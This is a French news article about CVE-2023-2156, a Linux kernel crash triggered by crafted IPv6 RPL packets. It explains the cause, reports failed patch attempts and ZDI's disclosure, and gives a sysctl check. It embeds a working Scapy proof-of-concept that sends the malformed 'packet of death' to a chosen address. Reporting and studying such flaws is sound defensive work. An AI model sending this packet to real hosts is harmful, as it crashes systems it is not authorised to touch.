Vulnérabilité de type 0-day dans la pile IPv6 de Linux, permettant de provoquer à distance un plantage du noyau.

Des informations sur la vulnérabilité non corrigée (0-day) (CVE-2023-2156) du noyau Linux ont été révélées, permettant d'arrêter le système en envoyant des paquets IPv6 spécialement formatés (packet-of-death). Le problème se manifeste uniquement lorsque le protocole RPL (Routing Protocol for Low-Power and Lossy Networks) est activé, qui est par défaut désactivé dans les distributions et est principalement utilisé sur des appareils embarqués fonctionnant dans des réseaux sans fil avec une perte de paquets élevée.

La vulnérabilité est causée par un traitement incorrect des données externes dans le code d'analyse du protocole RPL, ce qui entraîne le déclenchement d'un échec d'assertion et le passage du noyau en état de panic. Lorsque des données, résultant de l'analyse de l'en-tête d'un paquet IPv6 RPL, sont placées dans la structure k_buff (Socket Buffer), si le champ CmprI est fixé à 15, le champ Segleft à 1 et CmprE à 0, un vecteur de 48 octets avec des adresses est décompressé à 528 octets, créant une situation où le tampon de mémoire alloué est insuffisant. Dans ce cas, dans la fonction skb_push, utilisée pour insérer des données dans la structure, une vérification de la taille des données et du tampon échoue, générant un état de panic pour empêcher l'écriture en dehors du tampon.

Exemple d'exploit : # Nous utiliserons Scapy pour créer le paquet from scapy.all import * import socket # Utilisez l'IPv6 de votre interface LAN DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Nous utilisons des sockets pour envoyer le paquet sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Création du paquet # Type = 3 fait de ceci un paquet RPL # Les adresses contiennent 3 adresses, mais comme CmprI est 15, # chaque octet des deux premières adresses est traité comme une adresse compressée # Segleft = 1 pour déclencher l'amplification # lastentry = 0xf0 fixe CmprI à 15 et CmprE à 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) \/ IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Envoyer ce paquet malveillant sockfd.sendto(bytes(p), (DST_ADDR, 0))

Il est notable que les développeurs du noyau ont été informés de la vulnérabilité dès janvier 2022 et qu’au cours des 15 mois suivants, ils ont tenté trois fois de résoudre le problème, publiant des correctifs en septembre 2022, octobre 2022 et avril 2023, mais à chaque fois, les corrections se sont révélées insuffisantes et la vulnérabilité a pu être reproduite. En fin de compte, le projet ZDI, qui coordonnait les efforts pour résoudre la vulnérabilité, a décidé de divulguer des informations détaillées sur la vulnérabilité, sans attendre l'apparition d'un correctif fonctionnel dans le noyau.

Ainsi, la vulnérabilité reste non corrigée. De plus, le patch inclus dans le noyau 6.4-rc2 n'est pas efficace. Il est recommandé aux utilisateurs de vérifier que le protocole RPL n'est pas utilisé dans leurs systèmes, ce qui peut être fait à l'aide de la commande sysctl -a | grep -i rpl_seg_enabled

Source : opennet.ru